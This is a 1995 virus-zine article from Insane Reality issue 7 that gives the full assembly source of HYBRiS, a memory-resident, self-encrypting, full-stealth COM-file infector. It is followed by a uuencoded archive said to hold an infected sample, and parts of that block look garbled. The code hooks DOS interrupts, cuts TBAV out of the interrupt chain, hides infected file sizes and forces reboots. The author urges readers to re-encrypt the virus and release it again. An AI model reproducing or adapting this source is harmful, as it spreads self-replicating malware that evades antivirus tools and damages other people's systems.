Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 013 


% HYBRiS by The Unforgiven/IR %

-------------------------------

Here's a virus that has been lying on my HD for quite some time 
now, (uerm, like over 6 month ;)). It's really not a ready production, 
but it's what you get ;). I am sick bored of seeing this code, so give 
it your best fuck, I won't touch this anymore, ever.



Two routines in this code are not my code, but Priest and Stormbringers. 
Priest wrote the randomizer and Stormbringer the critical-error-handler 
routine. I had thought to fix this up and write my own code, but didn't 
manage due to the lack of time. I thank Priest and Sb and give credits 
where credits are due :-).



Previous versions of this virus has been released in the wild under atleast 
10 (actually, more like 20 I think) different names, I don't quite remember 
them all, but if some of these names are: Carpe_DiemII, HeartQuake, Petra, 
Eternal_Hate, The_Unforgiven (I included the whole fucking text.. hehe), 
Hallucinations in the heaven, Fuck_RatMan, [Lurve.Emma.PSFL], and things 
like that..



Most of the viruses listed above has been highly destructive, but that's 
actually removed in this variant since I won't dist this in the wild anyways, 
so why bother? Some of them wasn't encrypted, some included fancy payloads, 
some included stealth, some even had tunneling-capabilities (Thanks to 
Satan's little helper), some has been debug-resistant, and well, the list 
what those suckers did can be endless.. (they have though, fucked up my 
computer over and over again :)).



If this is scannable or so by now, don't be suprised..   If it isn't 
I sure as hell am suprised, bigtime.. Ah well, just alter the encryption- 
routine and it start to plague the warez-puppies again :). (Hey, don't 
forget the trashing routine, heh!)



If you btw get in trouble by this code, there is a remover against 
this sucker in the AV-article..  and yea, as an extra bonus, the 
infected file is kinda weird ;). . . that should be something to check 
up if you like debug.. (Its kinda huge, so uudecode it, and then "arj x" 
it and play.. :).

;==================================================================
============= 
; HYBRiS (c) 1995 The Unforgiven/Immortal Riot

; Brief description:

; TSR COM-infecting, full-stealth virus

; Self-encrypted

; Wasn't scannable when it was released by FP/Tbav/AVP..

; Has quite some collection of grafical payloads (hoping to get AVP attention). 
; Multipe interrupt handlers

; Int24h hooking

; Anti-anti-VSAFE-viruses.

; Special thanks to Priest & Stormbringer of Phalcon/Skism 
;==================================================================
============= 


    .model tiny

    .code

    org 100h



    vir_size equ virus_end-virus_start



virus_start:



    jmp entry_point



install:



    mov ax,99                           ;input  = rnd_value in AX 
    call random                         ;output = (zero -> rnd_value) 
    jne get                             ;if output=0, activate.. 
    mov cs:[activate_flag][bp],1



get:

    mov ax,108

    call random

    jne real_get



start_payload:

    call main_payload                   ;'loop' until ESC is being pressed.. 
    in al,60h

    cmp al,1

    jne start_payload

    jmp short real_get



main_payload:                           ;remake of a payload I wrote for 
    mov ax,3                            ;IR#6..

    int 10h

    push ax

    push cx

    push dx

    mov ax,03f00h

    mov dx,03c8h

    out dx,al

    inc dx

    mov ax,-1

    out dx,al

    xchg al,ah

    out dx,al

    xchg al,ah

    out dx,al

    mov cx,-1

    loop $

    dec dx

    xor ax,ax

    out dx,al

    inc dx

    out dx,al

    out dx,al

    out dx,al

    pop dx

    pop cx

    pop ax

    ret



real_get:

    mov ah,4ah                      ;Residency routine combined with 
    mov bx,-1                       ;installation check

    mov cx,0d00dh

    int 21h

    cmp ax,cx

    jne not_res

    jmp already_resident



not_res:

    mov ah,4ah                      ;resize mcb

    sub bx,(vir_size+15)/16+1       ;bx=size in para's

    int 21h                         ;es =segment



    mov ah,48h                      ;allocate memory block 
    mov bx,(vir_size+15)/16         ;bx = size in para's

    int 21h                         ;returns pointer to the beginning 
                                    ;of the new block allocated 


    dec ax                          ;dec ES to get pointer to mcb 
    mov es,ax                       ;es=segment

    mov word ptr es:[1],8           ;ofs:1 in mcb = owner, 8 = dos 


    push cs                         ;cs=ds

    pop ds



    cld                             ;clear direction

    sub ax,0fh                      ;substact 15 from ax,

    mov es,ax                       ;thus es:[100h] = start of allocated memory 
    mov di,100h                     ;di = 100h (beginning of file) 
    lea si,[bp+offset virus_start]  ;si points to start of virus 
    mov cx,(vir_size+1)/2           ;copy it resident with words 
    rep movsw                       ;until cx = 0 (the whole virus copied) 


    push es                         ;es=ds

    pop ds



    mov ax,3521h                    ;get interrupt vector from es:bx for 
    int 21h                         ;int21h



tb_lup:

    cmp word ptr es:[bx],05ebh      ;all tbav's utils starts with this code, 
    jne no_tbdriver                 ;if its found, get next interrupt handler 
    cmp byte ptr es:[bx+2],0eah     ;and use that as the int21h adress 
    jne no_tbdriver                 ;thereby, cutting tbav out from our 
    les bx,es:[bx+3]                ;int21h handler. loop until it's out of 
    jmp tb_lup                      ;there. (dunno if this works anymore..) 


no_tbdriver:

    mov word ptr ds:[Org21ofs],bx   ;save segment:offset for int21h 
    mov word ptr ds:[Org21seg],es   ;in a word each



    cmp byte ptr cs:[activate_flag][bp],1   ;check if we should activate 
    jne skip_08_get                         ;the int8 handler 


    mov al,08h                              ;if so, get interrupt-vector 
    int 21h                                 ;for int8h

    mov word ptr ds:[org08ofs],bx

    mov word ptr ds:[org08seg],es



skip_08_get:

    mov al,09h                               ;int9

    int 21h

    mov word ptr ds:[org09ofs],bx

    mov word ptr ds:[org09seg],es



    mov al,16h                               ;16h

    int 21h

    mov word ptr ds:[org16ofs],bx

    mov word ptr ds:[org16seg],es



    mov dx, offset new_int21h                ;set new interrupt handlers 
    mov ax,2521h                             ;to ds:dx for int21h 
    int 21h



    cmp byte ptr cs:[activate_flag][bp],1   ;if we didnt get int8, dont 
    jne skip_08_set                         ;set a new either! 


    mov dx, offset new_08h

    mov al,08h

    int 21h



skip_08_set:

    mov dx,offset new_09h                    ;int9 handler installed 
    mov al,09h

    int 21h



    mov dx,offset new_16h                    ;int 16h handler installed 
    mov al,16h

    int 21h



already_resident:

tbdriver:

    mov di,100h

    push di                         ;save di at 100h

    push cs                         ;make cs=ds=es

    push cs

    pop es

    pop ds

    lea si,[bp+orgjmp]              ;and copy the first 4-init-bytes to 
    movsw                           ;the beginning (in memory) so we can 
    movsw                           ;return back to the host properly 
    ret                             ;jmp di, 100h (since we pushed it above) 


new_int21h:

    cmp ah,4ah                      ;installation check part at the beginning 
    jne chk_vsafe                   ;no 4ah executed, try next option 
    cmp bx,-1                       ;ah = 4ah, check if bx and cx is set by 
    jne no_match                    ;our virus

    cmp cx,0d00dh

    jne no_match                    ;no.

    mov ax,cx                       ;move cx into ax

    iret                            ;and do a interrupt return 


chk_vsafe:

    cmp ax,0fa01h                   ;a resident anti-virus-virus, 
    jne chk_exec                    ;checker

    cmp dx,5945h

    je go_vsafe



chk_exec:

    cmp ax,4b00h                    ;Since this is a com infector only, 
    je go_infect                    ;I don't have to check if al=0, still 
                                    ;I do it :).



chk_close:

    cmp ah,3eh                      ;check for file-closes 
    je go_close                     ; ==> infect



    cmp ah,3dh                      ;file open

    je go_disinfect                 ; ==> disinfect



chk_dir:

    cmp ah,11h                      ;stealth functions on

    je go_fcb_stealth               ;directory listenings with 
    cmp ah,12h                      ;11/12/4e/4fh

    je go_fcb_stealth



    cmp ah,4eh

    je go_handle_stealth



    cmp ah,4fh

    je go_handle_stealth



no_match:

    jmp do_oldint21h                ;nothing matched!



go_vsafe:                           ;indirect-jumps due to 128d bytes jmp's 
    jmp unload_vsafe                ;directives.



go_infect:

    jmp infect



go_close:

    call setcritical                ;if infect on close, install a critical 
    jmp infect_close                ;error handler before



go_disinfect:

    call setcritical                ;disinfect calls also modifies programs, 
    jmp disinfect_dsdx              ;install the int24h handler before trying 
                                    ;doing disinfection



go_fcb_stealth:                     ;11 & 12h calls get's here, to be 
    jmp hide_dir                    ;transfered into another routine 
                                    ;(* Very unstructured programming *) 


go_handle_stealth:

    jmp hide_dir2



dps db "THIS PROGRAM IS (C) 1995 IMMORTAL RIOT",0 ; no shit! 


new_08h:

    push ax                               ;If the int08h installer is 
    push dx                               ;installed, the screen background 
    mov dx,03c8h                          ;color will fade to white return 
    xor al,al                             ;to original color (black), and 
    out dx,al                             ;'loop' that procedure all over again 
    inc dx                                ;since its activated all the time by 
    mov al,[cs:bgcol]                     ;dos internal services. . 
    out dx,al

    out dx,al

    out dx,al

    inc [cs:bgcol]

    pop dx

    pop ax



    db 0eah

    org08ofs dw ?

    org08seg dw ?



bgcol db 0



new_09h:



    push ax                         ;preserve register in use 
    push ds



    xor ax,ax

    mov ds,ax                       ;ds=0



    in al,60h                       ;read key

    cmp al,53h                      ;delete?

    jnz no_ctrl_alt_del             ;no!



    test byte ptr ds:[0417h],0ch    ;test for alt OR ctrl

    je no_ctrl_alt_del              ;

    jpo no_ctrl_alt_del             ;<- Wow. ctrl and alt? 


    in al,40h                       ;A small randomizer, this gives us 
    and al,111111b                  ;one in 64 I reckon :-). 
    cmp al,111111b

    je no_ctrl_alt_del



    push cs

    pop ds



    mov ax,3                        ;set grafic mode and clear screen, too 
    int 10h



    mov ah,2                        ;set cursor pos

    xor bh,bh

    mov dx,0A14h                    ;10,20d (middle)

    int 10h



    mov ah,1                        ;set cursor

    mov cx,2020h                    ;>nul

    int 10h



    mov si,offset dps               ;point to v_name, of sorts. 


all_chars:

    loop all_chars

    lodsb                          ;load string by byte from dps 
    or al,al                       ;end of string? (al=0)

    je cold_boot                   ;yes, make a cold boot



    mov ah,0Eh                     ;display character from string 
    int 10h



    jmp short all_chars            ;put next char to string 


cold_boot:

    db 0eah                         ;jmp far ptr

    db 00h, 00h, 0ffh,0ffh



no_ctrl_alt_del:

    pop ds                          ;restore registers

    pop ax



do_oldint09h:

    db 0eah                         ;and jump to saved vector for int09h 
    org09ofs dw ?

    org09seg dw ?



new_16h:

    cmp ax,0fa01h                   ;check ax for 'vsafe-unload-value' 
    jne do_oldint16h                ;no match in ax.

    cmp dx,5945h                    ;check ds for 'vsafe-unload-value' 
    jne do_oldint16h                ;no match in dx.

    jmp unload_vsafe                ;program is probably virus-infected. 


do_oldint16h:

    db 0eah                         ;program is not trying to unload 
    org16ofs dw ?                   ;vsafe..

    org16seg dw ?



hide_dir:                           ;FCB stealth routine

    pushf                           ;simulate a int call with pushf 
    push cs                         ;and cs, ip on the stack 
    call do_oldint21h

    or al,al                        ;was the dir call successfull?? 
    jnz skip_dir                    ;(i.e. did we find files?) 


    push ax                         ;we did find files, save ax/bx/es 
    push bx                         ;since we use them in this routine 
    push es



    mov ah,62h                      ;get active PSP to es:bx 
    int 21h

    mov es,bx

    cmp bx,es:[16h]                 ;PSP belongs to dos?

    jnz bad_psp                     ;no, just stealth on DIR (ie. command.com 
                                    ;is the owner of the psp) 


    mov bx,dx                       ;offset to unopened FCB in BX 
    mov al,[bx]                     ;FCB-type in AL..

    push ax                         ;Save it

    mov ah,2fh                      ;Get DTA-area

    int 21h

    pop ax                          ;Restore AX

    inc al                          ;check if al=0 or al=ff 
    jnz no_ext                      ;If it's not 0, then, it's not extended 
    add bx,7                        ;if it's extended add 7 to skip garbage 
no_ext:

    mov al,byte ptr es:[bx+17h]     ;get seconds field

    and al,1fh

    xor al,1dh                      ;is the file infected?? 
    jnz no_stealth                  ;if not - don't hide size 


    cmp word ptr es:[bx+1dh],vir_size-3     ;if a file with same seconds 
    jbe no_stealth                          ;as an infected is smaller - 
    sub word ptr es:[bx+1dh],vir_size-3     ;don't hide size 
no_stealth:

bad_psp:

    pop es                                  ;restore segments/registers 
    pop bx                                  ;used and return to caller 
    pop ax

skip_dir:

    iret



hide_dir2:                                  ;4e/4fh stealth 


    pushf

    push cs

    call do_oldint21h



    jc no_files



    pushf

    push ax

    push di

    push es

    push bx



    mov ah,2fh

    int 21h



    mov di,bx

    add di,1eh

    cld

    mov cx,9                            ;scan for the '.' which seperates 
    mov al,'.'                          ;the filename from the extension 
    repne scasb

    jne not_inf                         ;<- Filename without any extension! 


    cmp word ptr es:[di],'OC'

    jne not_inf                         ;most likely a com 


    cmp byte ptr es:[di+2],'M'

    jne not_inf                         ;Definitly com



    mov ax,es:[bx+16h]                  ;ask file time

    and al,1fh

    xor al,1dh                          ;can the file be infected? 
    jnz not_inf



    cmp word ptr es:[bx+1ah],vir_size       ;dont stealth too small 
    ja  hide                                ;files



    cmp word ptr es:[bx+1ch],0              ;>64k? (no-com) 
    je  not_inf                             ;don't stealth too large files.. 


hide:

    sub es:[bx+1ah],vir_size-3              ;stealth



not_inf:

    pop bx

    pop es

    pop di

    pop ax

    popf



no_files:

    retf 2



infect_close:                        ;3eh calls arrives at this entry 
    push es

    push bp

    push ax

    push bx

    push cx

    push si

    push di

    push ds

    push dx

    cmp bx,4                        ;don't close null, aux and so 
    jbe no_close



    call check_name                 ;es:di points to file name 
    add di,8                        ;es:di points to extension 
    cmp word ptr es:[di],'OC'

    jne no_close

    cmp byte ptr es:[di+2],'M'      ;es:di+2 points to 3rd char in extension 
    je close_infection



no_close:

    pop dx                          ;no com-file being opened 
    pop ds

    pop di

    pop si

    pop cx

    pop bx

    pop ax

    pop bp

    pop es



    jmp do_oldint21h



close_infection:

    or byte ptr es:[di-26h],2

    mov cs:Closeflag,1              ;mark that 3e-infection = on 


    mov ax,4200h                    ;seek tof.

    xor cx,cx

    cwd

    int 21h



    jmp short infect_on_close       ;infect it



check_name:

    push bx

    mov ax,1220h                    ;get job file table for handle at es:di 
    int 2fh



    mov ax,1216h                    ;get system file table 
    mov bl,byte ptr es:[di]         ;for handle index in bx 
    int 2fh

    pop bx

    add di,20h                      ;es:di+20h points to file name 
    ret                             ;return



infect:

    push es

    push bp

    push ax

    push bx

    push cx

    push si

    push di

    push ds

    push dx



    call setcritical                ;install a critical error handler 


    mov cs:Closeflag,0              ;make sure closeflag is off 
    mov ax,4300h                    ;get attrib

    int 21h

    push cx                         ;save attrib onto the stack 
    mov ax,4301h                    ;clear attrib

    xor cx,cx

    int 21h



    mov ax,3d00h                    ;open file in read mode only 
    int 21h

    xchg ax,bx

    mov ax,1220h

    int 2fh

    push bx

    mov ax,1216h                   ;modify

    mov bl,byte ptr es:[di]

    int 2fh

    pop bx

    or byte ptr es:[di+2],2        ;to read & write mode in the SFT-entry 


infect_on_close:                    ;entry for infection on 3eh 


    push cs                         ;cs=ds

    pop ds



    mov ax,5700h                    ;get time/date

    int 21h

    push cx                         ;save time/date onto the stack 
    push dx



    mov ah,3fh                      ;read first four bytes to orgjmp 
    mov cx,4

    mov dx,offset ds:orgjmp

    int 21h



    cmp word ptr ds:orgjmp,'ZM'     ;check if .EXE file

    je exe_file

    cmp word ptr ds:orgjmp,'MZ'

    je exe_file                     ;if so - don't infect



    cmp byte ptr ds:orgjmp+3,'@'    ;dont reinfect!

    jne lseek_eof

    jmp skip_infect



exe_file:

    mov cs:exeflag,1                ;mark file as EXE-file, and 
    jmp short skip_infect           ;don't set second value for it! 


lseek_eof:

    mov ax,4202h                    ;go end of file, offset in dx:cx 
    xor cx,cx                       ;and return file size in dx:ax. 
    xor dx,dx

    int 21h



    cmp ax,(0FFFFH-Vir_size)        ;dont infect to big or 
    jae skip_infect                 ;to small files

    cmp ax,(vir_size-100h)

    jb skip_infect



    add ax,offset entry_point-106h  ;calculate entry offset to jmp 
    mov word ptr ds:newjmp[1],ax    ;move it [ax] to newjmp 


get_rnd:

    mov ah,2ch                      ;get random number and put enc_val 
    int 21h

    or dl,dl                        ;dl=0 - get another value! 
    je get_rnd

    mov word ptr ds:enc_val,dx

    mov ax,08d00h                   ;copy entire virus to 8d00h:100h 
    mov es,ax

    mov di,100h

    mov si,di

    mov cx,(vir_size+1)/2

    rep movsw

    push es

    pop ds

    xor bp,bp                       ;and encrypt it there

    call encrypt



    mov ah,40h                      ;write virus to file from position 
    mov cx,virus_end-install        ;08d00h:100h

    mov dx,offset install

    int 21h



    push cs                         ;cs=ds

    pop ds



    mov ax,4200h                    ;go to beginning of file 
    xor cx,cx

    cwd

    int 21h



    mov ah,40h                      ;and write a new-jmp-construct 
    mov cx,4                        ;of 4 bytes (4byte=infection marker) 
    mov dx,offset newjmp

    int 21h



skip_infect:

    mov ax,5701h                    ;restore

    pop dx                          ;date

    pop cx                          ;time

    cmp byte ptr cs:[exeflag],1     ;exe file?

    je skip_sec                     ;if so - keep the sec_value intact 
    or cl,00011101b                 ;and give com-files second value 
    and cl,11111101b                ;29



skip_sec:

    int 21h

    cmp byte ptr cs:[Closeflag],1   ;check if execute or close infeection, 
    je dont_close                   ;if infect on close, dont close file 


close_file:

    mov ah,3eh                      ;close the file which were executed 
    int 21h

    pop cx                          ;get original file-attribs 
dont_close:

    pop dx                          ;ds:dx = filename

    pop ds

    cmp byte ptr cs:[Closeflag],1

    je exit_close

    mov ax,4301h                    ;set back saved attribute 
    int 21h



exit_close:

    mov byte ptr cs:closeflag,0

    call resetcritical              ;set back critical error handler int24h 
    pop di

    pop si

    pop cx

    pop bx

    pop ax

    pop bp

    pop es                           ;restore registers in use 


do_oldint21h:

O21h:

   db 0eah                          ;jmp far ptr

    org21ofs dw ?                   ;s:o to

    org21seg dw ?                   ;int21h



    ret                             ;call to DOS. . . return! 


unload_vsafe:

    mov ah,9

    mov dx, offset v_name

    push ds

    push cs

    pop ds

    int 21h

    pop ds

    mov ax,4c00h                    ;exit program infected with an other 
    int 21h                         ;virus.



v_name    db "[HYBRiS] (c) '95 =TU/IR=",'$'



closeflag     db 0

exeflag       db 0

activate_flag db 0



disinfect_dsdx:

     push ax

     push bx

     push cx

     push dx

     push di

     push si

     push ds

     push es                             ;save all regs/segs... 


     push ds

     pop es                              ;ds=es



     mov cx,64                           ;scan for the dot which 
     mov di,dx                           ;seperates filename from 
     mov al,'.'                          ;extension

     cld                                 ;clear direction

     repne scasb                         ;

     jne nocom                           ;<- was no '.' in filename 
                                         ;(aint likely a comfile) 


     cmp word ptr ds:[di],'OC'

     je smallc

     cmp word ptr ds:[di],'oc'

     jne nocom



smallc:

     cmp byte ptr ds:[di+2],'M'

     je open_com

     cmp byte ptr ds:[di+2],'m'

     je open_com



nocom:

     jmp no_com_opened                    ;no com-file being opened! 


open_com:



     mov ax,3d02h                         ;Tbav utils might intercept this 
     pushf                                ;action.

     push cs

     call o21h

     xchg ax,bx



     push cs                              ;cs=ds=es

     pop ds

     push cs

     pop es



     mov ax,5700h                       ;get time

     int 21h

     push cx

     push dx



     and cl,1fh                         ;see if seconds = 29 
     xor cl,1dh

     jne close_dis                      ;its not! (file = not infected) 


     mov ah,3fh                         ;read first bytes of the infected 
     mov cx,4                           ;program

     mov dx,offset ds:orgjmp

     int 21h



     cmp byte ptr ds:orgjmp,0e9h        ;first byte = jmp? 
     jne close_dis



     cmp byte ptr ds:orgjmp+3,'@'       ;fourth byte = '@'? 
     jne close_dis



     mov ax,4202h                        ;opened file is infected, 
     mov cx,-1                           ;seek the location where we 
     mov dx,-(virus_end-orgjmp)          ;stored the first bytes of the 
     int 21h                             ;original program 


     mov ah,3fh                          ;read those bytes to orgjmp 
     mov cx,4

     mov dx,offset ds:orgjmp

     int 21h



     mov ax,4200h                        ;seek the beginning of file 
     xor cx,cx

     xor dx,dx

     int 21h



     mov ah,40h                          ;write the original bytes to 
     mov dx,offset orgjmp                ;the top of file

     mov cx,4

     int 21h



     mov ax,4202h                       ;seek (endoffile-virussize) 
     mov cx,-1

     mov dx,-(virus_end-install)

     int 21h



     mov ah,40h                         ;truncate file

     xor cx,cx

     int 21h



close_dis:

     mov ax,5701h                        ;restore saved

     pop dx                              ;date

     pop cx                              ;and time

     int 21h                             ;



     mov ah,3eh                          ;close the file

     pushf

     push cs

     call o21h



no_com_opened:

     pop es

     pop ds

     pop si

     pop di

     pop dx

     pop cx

     pop bx

     pop ax



bail_out:

     jmp o21h                           ;and bail out!



random:

    push ds

    push bx

    push cx

    push dx

    push ax



    xor ax,ax

    int 1ah

    push cs

    pop ds

    in al,40h

    xchg cx,ax

    xchg dx,ax

    mov bx,offset ran_num

    xor ds:[bx],ax

    rol word ptr ds:[bx],cl

    xor cx,ds:[bx]

    rol ax,cl

    xor dx,ds:[bx]

    ror dx,cl

    xor ax,dx

    imul dx

    xor ax,dx

    xor ds:[bx],ax

    pop cx

    xor dx,dx

    inc cx

    je random_ret

    div cx

    xchg ax,dx

random_ret:

     pop dx

     pop cx

     pop bx

     pop ds

     or ax,ax

     ret



SetCritical:

    push ax ds

    mov ax,9

    mov ds,ax

    push word ptr ds:[0]

    push word ptr ds:[2]

    pop word ptr cs:[OldCritical+2]

    pop word ptr cs:[OldCritical]

    mov word ptr ds:[0],offset CriticalError

    push cs

    pop word ptr ds:[02]

    pop ds

    pop ax

    ret



ResetCritical:

    push ax

    push ds

    push word ptr cs:[OldCritical]

    mov ax,9

    push word ptr cs:[OldCritical+2]

    mov ds,ax

    pop word ptr ds:[2]

    pop word ptr ds:[0]

    pop ds

    pop ax

    ret



CriticalError:                          ;new int24h handler 
    mov     al,3                        ;returns no error

    iret



OldCritical     dd      0               ;dw 0,0

ran_num         dw      ?



decrypt:

encrypt:

    mov ax,word ptr ds:[bp+enc_val]         ;enc value in ax 
    lea di,[bp+install]                     ;pointer to encryption start 
    mov cx,(encrypt-install)/2              ;number of words to be encrypted 
xor_loopy:

    xor word ptr ds:[di],ax

    inc di

    inc di

    loop xor_loopy

    ret

enc_val dw 0



entry_point:

   call get_bp                            ;to get the delta offset 
                                          ;classic old trick.. 
get_bp:

   pop bp

   sub bp, offset get_bp



    call decrypt                            ;decrypt virus 
    jmp install                             ;jmp to install code 


newjmp    db 0e9h,00h,00h,'@'       ;buffer to calculate a new entry 
orgjmp    db 0cdh,20h,00,00         ;buffer to save the 4 first bytes 


virus_end:

end virus_start

==================================================================
============== 
section 1 of uuencode 4.02 of file suprise.arj    by R.E.M. 


begin 644 suprise.arj

M8.HK`!X$`0`0``()"81X'P```````````````````````%-54%))4T4N05)*5 
M``#Z^XQ&``!@ZBL`'@0!`!`!``E]J'<?WHP``+K\``"JMW?O```@````4U50( 
M4DE312Y#3TT``&C(2$D%D"(22$8OEE(P4`($LD6D]5#<`ZAF=#,*F9[2

MB>YO)!;MZ,M35KM5JVQO1)8R$!5M:U8G/[___W[N!%V[N[\'OAWX/>^SWH#OS

M>VMD;3>]J\YW]2ZEBY\I:+!DOUU&*%K:VU=:UK6EAS6!-0YIK:KO_*6C05W+>

M6R7[C.J,2E7<870M:6\Z%K3_%]/^*ES3+N8D#!VD-WBN(RS6O7[==VQ2X8Z;&

MF*6+O"4C.KZCD0&GZ\`NCW\MWNJQ]KV.[M]GV6[_EE2=1J\;'_#K>1^#S?OZ_

M3BSG%@_E9[.LU6H5[F_W61[4C46G'^M=:_J5?'SY\5?

M!ZW&_HD:C><?KXDM=;_ZLW+=]TO%X^/R?\LK2:G27?.N\?J<6>L)?-9]:8[W> 
MD6_-RN/VDU0=/Y$ZTI)U5A[78,\:8U?<?^JQX^J1X_O]R/']A'CX>WD]4KXG( 
MPY']7U@[W48_-]'@X_-]+(_'/GZ]?O(7&R/[N_/Q[GA#/

MQ]?LS\>UL1X_F[0_'4;Z%E9$/:6=1*_;*Q^7]/,Z0^)TG)'*_1<'X]I90>-D> 
M=A.YEWSO`Q]I(U&KR,>Z\[4*_:]K@VMUWFHW?5X_-RH&=X^[U%8K\R#_ES>8)

M-/?2\7C,_H_/X_2Z'JEBN[^]U\BFFU/N]5M]0KU>.S^B=W%;JN)WW^./6 
M:L^Q(U,WT.J].6\>NT.1RLE7'TV9IL>=QZR2\NUHQ)7T,1VO`:=15+R%&?KOL 
M9"E^ZC=,U.\`(YQU/P[KFT_D%O6IAK8;XD&8M"P_PW$ATP]Q^#X?$UO(FY:@5

MX_HR^X[J;EMQLMUVW%YN5LG?L>SR?-G<?O?9_=YO4X_68X2=XTYQH/%YK5T.-

M-ET:XVD+U!L3^*=MML-E?N/3\?!J!H3;8_'GCVCM*R3K!Q?@8^PMAIOV44^7S

MV&]A?GFM)U6#>^8/]V3GS,CS=VC:FR'!]:C9W964*(?3[?:R?ZE8G[[I;2J^G 
M-S.:TSWOT;#`H6:WH20MG_7].#O,CUOT6$OU[-/*]'SAB.)Z:N#S.CZ["EN!R 
M/]'UW2?.\;S/K3?VY_C?,_9+PNPNU.YDY/M^;-_;^[R9_]GHOYVIU7QJT'[^5 
M#Q>CUMU^E6;ZW<=3NU&N;Z/CL?4W?UL?O-WR-;C_=W4[Z;>O>J9^'Z.XU$WUO

MOX.#YGX6E)OK5?0_CNMQU,WUMA_1YK/K'@%7[G[[KH.L5UG,9[?M,]_)^RJQJ

MZLY%A,LN>TSW(TEO>@'E_4SY?:9\(>WVWJSF`/;\GM)/UE:?YW'W=.%H[YZN?]`>7!
XDY^\>7[%/G[&3V*OSO5O 
MG+2%^AGD]IGUTE576^K.6X]ORNZS^V'$W'\9S\`\O=_0'MZC5_W>I.7L+.9[' 
M'LQWWH%?T>I.7C.L[//I)/9[OJL?Q^K4^[J=[C]E==6HK6HO^W",<(,ZWUZIP*VXK+8,3\
Z9_Z_3S.B 
MZ8A-$T?>L4S0:-KOXCV^#)%=3%?1G=^28M?96&2K9=NN_QH."3),,N6E@UY4A

MOWS5&N&88[_"Q%)#X_9<17+3Z*[QIYD>7,4M7S4"0$TX\&)01U,5UA.T564IE3S->PI
G#4^0-NQTMU>4A8#+'\:%A+1YAJ@8>Z 
M_C&N/`V]S7\28:GQM>\#&]QA'KR7;\E6/1PP\1PG7E$[+/%\BC&ZM%#>+C(+Y 
M"F"-BVA@/-&GHW="%L.#$)V*&;<=;RR=+]/KZ?VYG$<#+H3=O7&$,JY*OOET6C7H,`
87(!.P_QBQ"74Y^'M 
M08%*/[/,_0'0ZK.@L3(T3F=_,R'V&.ZA&

MO6G[`T_&JL\SW@]_9+T^4I:2^&;['WNE:IP@G+QU&`I'C+2`K3DJ\EFNT]A0F 
MYC.QTFKW7FL[#3V'V/=9_MTBLM_I.>]!WTY[87QQM3G]('P-'^UF@TFK_3]B, 
M<]\>FYU.>[D_:5A>\S&T]A,[YF^TA,L=5Y&?LY'YU?`]ZZ_[5JNVY).C^/6,P 
M\#3V'\K-FR/@=Q,3%1L.,&6:)=6ADT&``2#

MN"-^_"K;;7H5I">ZD.@D0AO?3M4*ZV%`,#S/,ASV2GN9--5XT]:_,.AD+1IK,4X9(PNH\\R
&(85!H8CV(2*9,<=-O:CAU7*FCZ7`76S3[N7;9 
MV'HZ+!"%*60^2J%RQP+3J])'-2]6PH+4!AXNAE264QUW*4Y;;2>C#.48[P7`X 
M$6O5W.5T);;V[J*YA].U7L&&5,-^,\X3K`6&4U`(W>M]?/O]-#@$H6?77B_4= 
M9*I,E6ASY"I3Z7-!=L,"UR:)NXA8_?#T7\."6Q80_TG'=8=*._T$-Z20;?LH:*PWY=M#'MQ
AA1?$6C4*W 
M]!(,"Z0EW,4X1,FRRZ6[)9!<83^)18,%.19@8%(5"2"(Q;&"H\.?8A2)YF".' 
MSS1N7W<.`0JLG#Z9)!5ZP3#T+

MG-XRV'`=&N%/XRT>E8>QW08=Z.,>(3+LT19E:`^5*T;PGR/'*W\

M-VF,IQMG;;BRU#6VLZNY4M*]K86.VLI8;#EGTTVY"P=*C)I(VAB_/Q(.86:4Q 
M(4O`[!+D0E2;;O=6VWN*_*0\O4YRG"K>$IRRRC21`SOP331)5]&/QD=U&+2UP

MT&)X9GFY%=Q*$:SI4Y+2\M)\E4R&L^P&[<=U?EQO;L.R)'CM<\SL;:MWREOM1

MP[/W-IMK-2WJ[77V(9YF_=4WE=9;D<+I)_]64__-=]C4XOVK#=V[.6IJ__6K) 
MNOZ*M7[S3/;9%A;[]GTU-7@ZMG],S8>NTSQU$L-^LL-5[#/9=KJO-L'GL,_9D 
M[75?IL'W)9U7:J[[YA,:V=3,:OR.N9^K,%QL_^K>O_.NNPZ17,_7Q_Z;KC=&B 
MK[/Z\CXLA7*S>#F\W*N^Q5C3UA[7OL[3M3(5_CZZZ4^NK]_]>1_ID<0LZMMA]

MU+Q]%@PQH7#"K,B"'\<^QW"$NV*5=+;-CN&P!X`.T\?ILE7+W).];RKK2#3 
M[7'4DTK8"T#HWIM"W@]V`@!_>@"JN_S"=JA/<)5A!'"=7H2WO8)LJQ[Y.A2WR

MG7'HQ0]+P`CJ?(Z16T]KQL?QG?L>YR-WZ7F>OWW:_29TOCJ^![3._\@Q1+'M@

M74U?J_X>OP?.YN4'"^3.>W!].<]R#R&=]6ZK'5?>U=>WY*KGU\CZGY5:`>.*1 
MK8>OD3?Y5=S[5U\UA79^OD?-_+N.LFY;/T\C7Y_1R/ZPY-U&KT_HSF^A_7<\I3$<8R#
DX"*^#5\/769*;UM[0,0,TV3=^ZORN 
M9KT<-RC@\.%>4;3QAZO3DV51P>"!,-V&>;%,`A)``3]\;FU&"IBK83L>$,V6^ 
MG8>GS2$L1R)=5I8=.ND3F0`>_6NX)ND21OV,,+NAW2V"/0C_,!TZH7EP7S$%0

M#3W%=!$TF/M$;[$9-(,>Q!OH44=M:TMJ4`A`E%A_&IV\ICNO;20'I+#.,L3LI 
M7DAA6'XZEY1L.KP.5[FKN)8WY-$Q!#[L9Y)Z'?K1UHP&ZFSG'IFI..RD-##ZM 
M<"V6B>TMY8@P.<0JV6:W."^AT9-%=X!1MHI?/B)L_&!U

M3YN3WQ(,G@L.0P@"ZC#>4`QU$O>S$MWD$G*,98T;78'-I=RY*O.=KDYS'42=2 
MSPWN!`-Y^6[_2>ZIXM?OIAO,\67(6;Y1@031S'6<0<['!9_-&#;N%('8\`BNR 
MI=!H0FZ/.6G=\EVJ1'7$@0U.6`1]_TS3LD+V*'F2NBYA#W@+!\(;XYI,^RT;'GLWPR_.!
H_`(D7$H4O9:`='"] 
M`?AK17L1:4UQIB,9W@"QA,6LB4F$'AMF@C?3`;BY!*$81AG@4*:OB3U+2T`0E

MS>>AR'+@$C7R'22'IZ=QEL-Q$#=F0D'.#3H4?&$72,IH$M,

M?A6^5D,#Q>2'\_.4M-MEU[539:ZQV]S5&_Y4WH?!VE9X2G`JKBK(:6EC6.1YD 
MVY#F68:V@1)W`PV0?L8)RX)J\O6%`&+=,`(O:`W'H890R-P2`$EH2`V;%"0?I 
